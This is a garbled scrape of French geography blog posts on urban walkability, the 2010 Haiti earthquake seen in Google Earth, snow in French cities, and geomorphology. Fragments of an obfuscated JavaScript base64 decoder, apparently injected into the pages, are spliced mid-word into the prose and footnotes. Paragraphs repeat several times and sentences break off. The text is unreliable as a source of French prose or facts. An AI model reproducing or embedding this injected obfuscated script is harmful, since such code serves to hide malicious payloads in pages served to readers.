intelligents(4). L’individu entre ainsi en interaction avec la ville parcourue à pied, le plus souvent par l’intermédiaire de sa technologie « embarquée », téléphone portable ou iphone.

On ne peut que se réjouir de cette tendances actuelle de l’urbanisme à prendre en compte la marche à pied. Mais tous les exemples évoqués précédemment concernent des centre-villes, et ne sont pas forcément généralisables aux périphéries urbaines. Cette fracture sociale des mobilités a été en partie l’objet du débat qui a suivi l’intervention. Il s’agit là certainement du plus gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=2p5&15)<<4)|(q8>>2);wb=5q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand défi du renouveau urbain : comment appliquer le développement durable aux périphéries des villes ? Car si l'utopie de la "ville durable" n'est pas encore réalité, c'est bien parce que les villes durables actuelles sont en réalité des "centre-villes durables", à l'image de Zurich. Le plan ci-dessus (5) montre que les aménagements de cette vitrine écologique (requalification du bâti, parkings à tarif dissuasif) visent en réalité a éliminer la circulation automobile, la pollution, et la pauvreté ... du centre-ville. C'est-à-dire à repousser les problèmes vers la périphérie.

Pour une part croissante de la population, la réalité de l'espace vécu ne réside donc pas dans les projets de places interactives et ludiques à Bâle ou à Rotterdam, mais dans la couverture du Télérama paru ce même mercredi(4) : "Halte à la France moche !"(ci-dessus). Cette "France moche", c'est celle des périphéries lointaines de villes, des zones d'aménagement concerté et des lotissements pavillonnaires. La couverture montre les trois principaux ingrédients de cette "mocheté" : l'emprise excessive des réseaux (voiries, lignes électriques aériennes), les constructions précaires en matériaux "pauvres" (hangars commerciaux) et la prolifération d'enseignes publicitaires criardes. C'est le paysage des "entrées de villes", si décrié mais si familier ... Il y a tant à dire sur le sujet que cela nous donnera l'occasion d'une autre note !

Notes :
(1) voir la présentation sur le site des Cafés Géographiques
(2) Cliquez ici pour lire les paroles et ici pour écouter sur Deezer.
(3) function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=3p5&15)<<4)|(q8>>2);wb=6q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/">http://archide.wordpress.com/2008/11/05/city-lounge-in-st-gallen-switzerl;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/
(4) Cet arrêt de bus est le résultat du travail du laboratoire Senseable du M.I.T. : http://senseable.mit.edu/bus_stop/
(5) document tiré de PIGEON, Patrick, Ville et environnement, Nathan université, 1999.
(6) Télérama n°3135 du 13 au 19 février 2010

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/ »>places « lounge » (ci-contre)(3) et même les arrêts de bus intelligents(4). L’individu entre ainsi en interaction avec la ville parcourue à pied, le plus souvent par l’intermédiaire de sa technologie « embarquée », téléphone portable ou iphone.

On ne peut que se réjouir de cette tendances actuelle de l’urbanisme à prendre en compte la marche à pied. Mais tous les exemples évoqués précédemment concernent des centre-villes, et ne sont pas forcément généralisables aux périphéries urbaines. Cette fracture sociale des mobilités a été en partie l’objet du débat qui a suivi l’intervention. Il s’agit là certainement du plus grand défi du renouveau urbain : comment appliquer le développement durable aux périphéries des villes ? Car si l'utopie de la "ville durable" n'est pas encore réalité, c'est bien parce que les villes durables actuelles sont en réalité des "centre-villes durables", à l'image de Zurich. Le plan ci-dessus (5) montre que les aménagements de cette vitrine écologique (requalification du bâti, parkings à tarif dissuasif) visent en réalité a éliminer la circulation automobile, la pollution, et la pauvreté ... du centre-ville. C'est-à-dire à repousser les problèmes vers la périphérie.

Pour une part croissante de la population, la réalité de l'espace vécu ne réside donc pas dans les projets de places interactives et ludiques à Bâle ou à Rotterdam, mais dans la couverture du Télérama paru ce même mercredi(4) : "Halte à la France moche !"(ci-dessus). Cette "France moche", c'est celle des périphéries lointaines de villes, des zones d'aménagement concerté et des lotissements pavillonnaires. La couverture montre les trois principaux ingrédients de cette "mocheté" : l'emprise excessive des réseaux (voiries, lignes électriques aériennes), les constructions précaires en matériaux "pauvres" (hangars commerciaux) et la prolifération d'enseignes publicitaires criardes. C'est le paysage des "entrées de villes", si décrié mais si familier ... Il y a tant à dire sur le sujet que cela nous donnera l'occasion d'une autre note !

Notes :
(1) voir la présentation sur le site des Cafés Géographiques
(2) Cliquez ici pour lire les paroles et ici pour écouter sur Deezer.
(3) function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++

3. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/">http://archide.wordpress.com/2008/11/05/city-lounge-in-st-gallen-switzerland/ »>places « lounge » (ci-contre)(3) et même les arrêts de bus intelligents(4). L’individu entre ainsi en interaction avec la ville parcourue à pied, le plus souvent par l’intermédiaire de sa technologie « embarquée », téléphone portable ou iphone.

On ne peut que se réjouir de cette tendances actuelle de l’urbanisme à prendre en compte la marche à pied. Mais tous les exemples évoqués précédemment concernent des centre-villes, et ne sont pas forcément généralisables aux périphéries urbaines. Cette fracture sociale des mobilités a été en partie l’objet du débat qui a suivi l’intervention. Il s’agit là certainement du plus gr;p5=s4.indexOf(wc.charAt(vf++

5. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand défi du renouveau urbain : comment appliquer le développement durable aux périphéries des villes ? Car si l'utopie de la "ville durable" n'est pas encore réalité, c'est bien parce que les villes durables actuelles sont en réalité des "centre-villes durables", à l'image de Zurich. Le plan ci-dessus (5) montre que les aménagements de cette vitrine écologique (requalification du bâti, parkings à tarif dissuasif) visent en réalité a éliminer la circulation automobile, la pollution, et la pauvreté ... du centre-ville. C'est-à-dire à repousser les problèmes vers la périphérie.

Pour une part croissante de la population, la réalité de l'espace vécu ne réside donc pas dans les projets de places interactives et ludiques à Bâle ou à Rotterdam, mais dans la couverture du Télérama paru ce même mercredi(4) : "Halte à la France moche !"(ci-dessus). Cette "France moche", c'est celle des périphéries lointaines de villes, des zones d'aménagement concerté et des lotissements pavillonnaires. La couverture montre les trois principaux ingrédients de cette "mocheté" : l'emprise excessive des réseaux (voiries, lignes électriques aériennes), les constructions précaires en matériaux "pauvres" (hangars commerciaux) et la prolifération d'enseignes publicitaires criardes. C'est le paysage des "entrées de villes", si décrié mais si familier ... Il y a tant à dire sur le sujet que cela nous donnera l'occasion d'une autre note !

Notes :
(1) voir la présentation sur le site des Cafés Géographiques
(2) Cliquez ici pour lire les paroles et ici pour écouter sur Deezer.
(3) function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++;p5=s4.indexOf(wc.charAt(vf++

6. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand/">http://archide.wordpress.com/2008/11/05/city-lounge-in-st-gallen-switzerl;p5=s4.indexOf(wc.charAt(vf++

Séisme à Haïti et géographie de l’immédiat

Dans un billet du 14/01/2010, Erwan Cario nous apprend qu’il est déjà possible de visualiser sur Google Earth les effets du séisme qui a frappé Haïti le 12 janvier (1). L’article est bref mais riche en images.  Nous prenons la liberté d’en reproduire deux ici (ci-dessous), car elles peuvent faire l’objet d’une analyse géographique. L’étude des risques est d’ailleurs une branche à part entière de ce qu’on appelait jadis la géographie physique.

Commençons d’abord par une rapide critique du document constitué de deux photographies aériennes verticales. Dans sa version originale, il est accompagné d’une courte légende : « Un quartier de Port-au-Prince » (et le couple de photographies suivant est légendé : « Un autre quartier de Port-au-Prince »).  Il faut songer, à présent que les photographies aériennes tirées de logiciels ou de sites internet sont un document incontournable, à la façon de les légender et de les citer en source. Il me semble qu’il faut leur donner un titre comportant une indication de localisation précise. J’ai retrouvé la localisation de cette image, et je propose donc ce titre : « Quartier de la rue pavée et de la cathédrale Notre-Dame avant et après le séisme, Port-au-Prince, Haïti ». Il faudrait également donner les coordonnées géographiques (latitude et longitude) et l’altitude de la prise de vue, pour permettre à tout lecteur de retrouver la photographie.(2)

Ces photographies nous apprennent beaucoup sur la géographie urbaine d’Haïti(3). La trame de la voirie, rectiligne et orthogonale, rappelle qu’il s’agit d’une ville coloniale, fondée par les Français au XVIIIe siècle. Les matériaux utilisés sont caractéristiques des villes tropicales, notamment la tôle bleue ou rouge des toits. La présence d’un édifice religieux (cathédrale Notre-Dame) rappelle le catholicisme légué par la colonisation, pas encore supplanté par les religions évangéliques très dynamiques ici. La photographie du haut montre une circulation automobile raisonnable, ce qui ne doit pas tromper : d’autres photos montrent au contraire des rues véritablement engorgées, le problème de la circulation étant un autre point commun des grandes agglomérations du Sud. L'ampleur des destructions elle-même est difficile à évaluer à partir de cette photographie. On remarque surtout la disparition des toits, mais cela ne permet pas de rendre compte du désastre, puisque les toits en tôles permettent justement de limiter les dégâts en cas de cyclone (par opposition aux toits en tuiles par exemple, ils causent des dégâts plus modestes en tombant ou en s'envolant). On remarque également l'interruption de la circulation automobile entre les deux photographies. Enfin, il faut noter la permanence de la végétation d'une photographie à l'autre : les arbres préfèrent les séismes aux cyclones.

Un portfolio disponible sur le blog du Monde "Amériques"(4) permet de se rapprocher du sol grâce à des photographies aériennes, obliques et non verticales cette fois. (ci-dessus) On retrouve la cathédrale Notre-Dame, avec une légende qui n'a aucun rapport puisqu'elle précise que les fidèles sont rassemblés à Pétion-Ville. Pétion-Ville est une commune de la banlieue de Port-au-Prince, alors que cette cathédrale se situe dans le centre, non loin du palais présidentiel. La façade de cette cathédrale, restée debout au milieu des décombres, n'est pas sans évoquer la célèbre silhouette de l'église détruite se dressant dans Berlin en ruines après la Seconde Guerre Mondiale.

Au délà de la terrible réalité du séisme, ces photographies aériennes soulèvent d'autres questions. La géographie n'échappe pas à la course à l'immédiateté qui caractérise l'accès à l'information. Alors que les premières descriptions de l'île d'Hispañola(5) ont mis des mois à parvenir aux cartographes néerl;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=2p5&15)<<4)|(q8>>2);wb=3q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandais au XVe siècle, les photographies aériennes du séisme parviennent au monde  entier quelques jours seulement après la catastrophe. Chacun peut constater, de haut et sans prendre de risque ni même se déplacer, l'ampleur des dégâts. Tous des voyeurs, ou tous des Voltaire ?(6) En tout cas, on peut tirer des deux photographies verticales une dernière information : la seconde photographie est plus nette. Le séisme a donc permis d'améliorer la couverture aérienne de Port-au-Prince dans Google Earth. On ne doute pas que rares Haïtiens ayant encore accès à internet y trouveront une consolation.

rédaction : Jean-Benoît Bouron, photographies : Google Earth/Erwan Cario, AFP/Vincente Raimundo

Notes et sources

(1) Cario, Erwan,  "Haïti après, sur Google Earth", sur le blog Ecrans de Libération, 14/01/2010*

(2) Je n'ai pas ces coordonnées, ayant retrouvé ce quartier sur Google Maps et non sur Google Earth (au prix d'une exploration fastidieuse !). Pour le retrouver, utilisez les mots clés "Rue Pavee, Port-au-Prince, Département de l'Ouest, Haïti" dans le champ de recherche de Google Maps;

(3) D'après l'excellent blog "Langue sauce piquante" des correcteurs du Monde, le H initial du mot Haïti est officiellement muet. On peut donc écrire "d'Haïti" et "en Haïti".

(4) anonyme, "Vues aériennes d'une ville dévastée", portfolio sur le blog Amériques du Monde.fr, photographies AFP/Vincente Raimundo, 2010

(5) Hispañola est le premier nom donné à l'île par Christophe Colomb, renommée ensuite Santo-Domingo (Saint-Domingue) et partagée entre Haïti côté français et la République Dominicaine côté espagnol.

(6) Voltaire a tiré une partie de son C;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandide de réflexions inspirées par le séisme survenu à Lisbonne en 1755.

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes agglomérations du Sud. L'ampleur des destructions elle-même est difficile à évaluer à partir de cette photographie. On remarque surtout la disparition des toits, mais cela ne permet pas de rendre compte du désastre, puisque les toits en tôles permettent justement de limiter les dégâts en cas de cyclone (par opposition aux toits en tuiles par exemple, ils causent des dégâts plus modestes en tombant ou en s'envolant). On remarque également l'interruption de la circulation automobile entre les deux photographies. Enfin, il faut noter la permanence de la végétation d'une photographie à l'autre : les arbres préfèrent les séismes aux cyclones.

Un portfolio disponible sur le blog du Monde "Amériques"(4) permet de se rapprocher du sol grâce à des photographies aériennes, obliques et non verticales cette fois. (ci-dessus) On retrouve la cathédrale Notre-Dame, avec une légende qui n'a aucun rapport puisqu'elle précise que les fidèles sont rassemblés à Pétion-Ville. Pétion-Ville est une commune de la banlieue de Port-au-Prince, alors que cette cathédrale se situe dans le centre, non loin du palais présidentiel. La façade de cette cathédrale, restée debout au milieu des décombres, n'est pas sans évoquer la célèbre silhouette de l'église détruite se dressant dans Berlin en ruines après la Seconde Guerre Mondiale.

Au délà de la terrible réalité du séisme, ces photographies aériennes soulèvent d'autres questions. La géographie n'échappe pas à la course à l'immédiateté qui caractérise l'accès à l'information. Alors que les premières descriptions de l'île d'Hispañola(5) ont mis des mois à parvenir aux cartographes néerlandais au XVe siècle, les photographies aériennes du séisme parviennent au monde  entier quelques jours seulement après la catastrophe. Chacun peut constater, de haut et sans prendre de risque ni même se déplacer, l'ampleur des dégâts. Tous des voyeurs, ou tous des Voltaire ?(6) En tout cas, on peut tirer des deux photographies verticales une dernière information : la seconde photographie est plus nette. Le séisme a donc permis d'améliorer la couverture aérienne de Port-au-Prince dans Google Earth. On ne doute pas que rares Haïtiens ayant encore accès à internet y trouveront une consolation.

rédaction : Jean-Benoît Bouron, photographies : Google Earth/Erwan Cario, AFP/Vincente Raimundo

Notes et sources

(1) Cario, Erwan,  "Haïti après, sur Google Earth", sur le blog Ecrans de Libération, 14/01/2010*

(2) Je n'ai pas ces coordonnées, ayant retrouvé ce quartier sur Google Maps et non sur Google Earth (au prix d'une exploration fastidieuse !). Pour le retrouver, utilisez les mots clés "Rue Pavee, Port-au-Prince, Département de l'Ouest, Haïti" dans le champ de recherche de Google Maps;

(3) D'après l'excellent blog "Langue sauce piquante" des correcteurs du Monde, le H initial du mot Haïti est officiellement muet. On peut donc écrire "d'Haïti" et "en Haïti".

(4) anonyme, "Vues aériennes d'une ville dévastée", portfolio sur le blog Amériques du Monde.fr, photographies AFP/Vincente Raimundo, 2010

(5) Hispañola est le premier nom donné à l'île par Christophe Colomb, renommée ensuite Santo-Domingo (Saint-Domingue) et partagée entre Haïti côté français et la République Dominicaine côté espagnol.

(6) Voltaire a tiré une partie de son Candais au XVe siècle, les photographies aériennes du séisme parviennent au monde  entier quelques jours seulement après la catastrophe. Chacun peut constater, de haut et sans prendre de risque ni même se déplacer, l'ampleur des dégâts. Tous des voyeurs, ou tous des Voltaire ?(6) En tout cas, on peut tirer des deux photographies verticales une dernière information : la seconde photographie est plus nette. Le séisme a donc permis d'améliorer la couverture aérienne de Port-au-Prince dans Google Earth. On ne doute pas que rares Haïtiens ayant encore accès à internet y trouveront une consolation.

rédaction : Jean-Benoît Bouron, photographies : Google Earth/Erwan Cario, AFP/Vincente Raimundo

Notes et sources

(1) Cario, Erwan,  "Haïti après, sur Google Earth", sur le blog Ecrans de Libération, 14/01/2010*

(2) Je n'ai pas ces coordonnées, ayant retrouvé ce quartier sur Google Maps et non sur Google Earth (au prix d'une exploration fastidieuse !). Pour le retrouver, utilisez les mots clés "Rue Pavee, Port-au-Prince, Département de l'Ouest, Haïti" dans le champ de recherche de Google Maps;

(3) D'après l'excellent blog "Langue sauce piquante" des correcteurs du Monde, le H initial du mot Haïti est officiellement muet. On peut donc écrire "d'Haïti" et "en Haïti".

(4) anonyme, "Vues aériennes d'une ville dévastée", portfolio sur le blog Amériques du Monde.fr, photographies AFP/Vincente Raimundo, 2010

(5) Hispañola est le premier nom donné à l'île par Christophe Colomb, renommée ensuite Santo-Domingo (Saint-Domingue) et partagée entre Haïti côté français et la République Dominicaine côté espagnol.

(6) Voltaire a tiré une partie de son C;p5=s4.indexOf(wc.charAt(vf++

4. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes agglomérations du Sud. L'ampleur des destructions elle-même est difficile à évaluer à partir de cette photographie. On remarque surtout la disparition des toits, mais cela ne permet pas de rendre compte du désastre, puisque les toits en tôles permettent justement de limiter les dégâts en cas de cyclone (par opposition aux toits en tuiles par exemple, ils causent des dégâts plus modestes en tombant ou en s'envolant). On remarque également l'interruption de la circulation automobile entre les deux photographies. Enfin, il faut noter la permanence de la végétation d'une photographie à l'autre : les arbres préfèrent les séismes aux cyclones.

Un portfolio disponible sur le blog du Monde "Amériques"(4) permet de se rapprocher du sol grâce à des photographies aériennes, obliques et non verticales cette fois. (ci-dessus) On retrouve la cathédrale Notre-Dame, avec une légende qui n'a aucun rapport puisqu'elle précise que les fidèles sont rassemblés à Pétion-Ville. Pétion-Ville est une commune de la banlieue de Port-au-Prince, alors que cette cathédrale se situe dans le centre, non loin du palais présidentiel. La façade de cette cathédrale, restée debout au milieu des décombres, n'est pas sans évoquer la célèbre silhouette de l'église détruite se dressant dans Berlin en ruines après la Seconde Guerre Mondiale.

Au délà de la terrible réalité du séisme, ces photographies aériennes soulèvent d'autres questions. La géographie n'échappe pas à la course à l'immédiateté qui caractérise l'accès à l'information. Alors que les premières descriptions de l'île d'Hispañola(5) ont mis des mois à parvenir aux cartographes néerl;p5=s4.indexOf(wc.charAt(vf++

Ainsi fond, fond, fond, la neige sur les maronniers…

Une fois n’est pas coutume, après une longue période de dormance, c’est par un marronnier que ce blog commence l’année 2010. Un marronnier, dans le jargon de la presse, est un sujet banal qui revient chaque année à échéance régulière et fournit un sujet de reportage à peu de frais : la rentrée des classes, les soldes … et bien sûr le climat. Bien qu’on ne puisse pas prévoir les épisodes climatiques remarquables, chaque saison a son marronnier… Au printemps, les giboulées occasionnent un reportage sur les vignerons ou maraîchers sinistrés. La sécheresse touche inévitablement le midi chaque été : c’est même une caractéristique du climat méditerranéen. L’automne est la saison des inondations ou, à défaut, de l’été indien et de son exceptionnelle douceur (les reportages s’attarderont alors sur les terrasses des cafés). « Exceptionnelle » car le sujet a beau être un marronnier, il lui est nécessaire de revêtir les dehors du sensationnel.

 

journalTF1Ainsi, on a pu entendre ce quatre janvier, dans le journal de 20h de TF1(1), à propos des chutes de neige à Grenoble : « du jamais vu depuis 2005 » ! (ci-contre) On n’a pas tous les jours un épisode neigeux jamais vu de mémoire de Grenoblois, mais remonter seulement quatre ans en arrière affadit la comparaison. On entendra peut-être, un jour : « des chutes de neige jamais vues depuis l’hiver dernier ! ». Toujours est-il que la neige a sérieusement perturbé la circulation en Rhône-Alpes (c’est l’objet principal du reportage de TF1). Le dossier proposé par Météo France sur son site internet intitulé « La neige en plaine » donne quelques explications à ce problème. Jérôme, prévisionniste à Météo France, qui ne semble pas avoir de patronyme, nous explique dans ce dossier(2) la différence entre les différentes « sortes de neige ». Les températures inférieures à -5°C engendrent une neige « légère et poudreuse » qui « contient peu d’eau liquide ». C’est celle qui fait le bonheur des skieurs. Entre 0°C et -5°C la neige devient « humide et collante », or « c’est la plus fréquente en plaine et la plus indésirable ». Elle pose des problèmes d’adhérence sur la route et peut se transformer en glace si elle est compressée. Si la neige pose problème dans les agglomérations en plaine, c’est aussi parce qu’elle est moins habituelle. Jérôme nous explique qu’ « un enneigement de 5 cm perturberait davantage Paris ou Perpignan que Grenoble ou Tarbes. » Si la neige lourde, celle qui contient le plus d’eau, est la plus fréquente en plaine, c’est que les températures ne descendent que modérément en dessous de 0°C. L’effet de l’altitude sur les températures n’est plus à démontrer : les géographes qui gardent quelques souvenirs de la lecture de Demangeot(3) se rappellent qu’on perd 0,5°C de température moyenne pour 100 m d’élévation.

 

lyon_neigeLa neige en plaine surprend, donc, et à plus forte raison dans les grandes agglomérations, où la température est souvent (semble-t-il) supérieure d’un degré à celle des campagnes environnantes. Elle « surprend », elle « gêne », et elle « perturbe ». L’espace vécu de la population âgée se rétracte provisoirement à la sphère domestique (cela signifie en jargon de géographe que les vieux restent chez eux). Il existe cependant une partie de la population pour qui la neige est une joie presque indicible : les enfants, pour lesquels elle transforme la ville en un gigantesque terrain de jeux. Les enfants ruraux ont d'ailleurs un avantage notable sur les enfants urbains, puisqu’ils peuvent espérer une interruption des services de ramassage scolaire, ce qui ajoute à la joie de la neige celle de rater l’école. On peut soupçonner également de nombreux adultes de ressentir secrètement, devant le paysage enneigé, une joie enfantine qu’ils croyaient révolue. Comment expliquer cette émotion ? La photographie (ci-contre, à droite) donne à voir la ville de Lyon sous la neige. On reconnaît au premier plan les cours intérieures des pentes de la Croix-Rousse. Au deuxième plan, la Saône s'écoule devant le quartier Saint-Paul. A l'arrière plan enfin on devine la modeste skyline(4) dominée par la tour Part-Dieu, dite "du Crédit Lyonnais" et surnommée le "crayon".

 

nuancierExtrayons de cette photographie un nuancier (ci-contre, à gauche). Il en résulte un camaïeu de bleu (pouvant tirer sur le violet à cause du rouge des murs et des toits). Même si les couleurs de la photographie n'ont que peu à voir avec celles de la réalité, elles laissent entrevoir ce que l'œil peut percevoir d'un paysage de neige au lever du jour. La prédominance des bleus explique peut-être en partie l'émotion ressentie face à ce paysage, notamment lorsqu'il s'agit d'un paysage connu. Notons que sur la photographie, la neige n'est pas blanche mais bleu clair (en haut à gauche du nuancier). Luc Bureau, géographe québécois, évoque même dans La Géographie de l’hiver dernier(4), un désir de neige pour parler de cette attirance exercée par la neige (pour montrer que, comme le désir de rivages de Corbin, elle est une construction mentale et culturelle). Que le premier à n’avoir pas ressenti cette attirance me jette la première … boule de neige.

Rédaction : JB Bouron - Photographie : Lucie Diondet

Notes :

(1) journal de 20h de TF1 le 04/01/2010
(2) site internet de Météo France (ni auteur, ni date)
(3)DEMANGEOT Jean, Les milieux naturels du globe, Masson, 1992, p.160. Ce manuel d’introduction à la géographie physique est un classique pour les étudiants en géographie.

(4)La skyline est la ligne dessinée sur l'horizon par les immeubles, notamment dans les villes d'Amérique du Nord.

(5)BUREAU Luc, "Désir de Neige", in La Géographie, n°5, hiver 2009, pp.60-63

Géomorphologie alpine…

On apprend souvent la géographie dans les livres : comment faire autrement ? Dans les livres, et sur les cartes. Tous ceux qui ont fait des études de géographie se rappellent qu’ils ont dû, à un moment ou un autre, se pencher longuement sur une carte au 1/25000e pour y débusquer des formes de relief caractéristiques. Dun-sur-Meuse, montre-moi ta cuesta ! Pays de Bray, dévoile ta boutonnière … Pour apprendre à les reconnaître, on utilisait des schémas minutieux représentant ces reliefs dans une version idéale, simplifiée : des blocs-diagrammes. On trouve ce genre de dessin dans le célèbre manuel de Max Derruau(1) ou dans les premières pages de l’Atlas 2000 (2). La géomorphologie, analyse des formes de reliefs semblait inutile à beaucoup d’étudiants. « C’est bien plus beau lorsque c’est inutile », comme E. Rostand le fait dire à Cyrano. Cependant, à force de reconnaître les reliefs sur  des schémas, des portions d'espace terrestre dument découpées comme une part de mille-feuille, ou d'en déceler les indices sur des cartes, c'est-à-dire d'en haut, je me dem;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=2p5&15)<<4)|(q8>>2);wb=5q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandais alors si j'aurais su reconnaître cette bonne vieille cuesta si elle se présentait, devant moi, étalant ses formes souples dans un paysage viticole ou forestier.

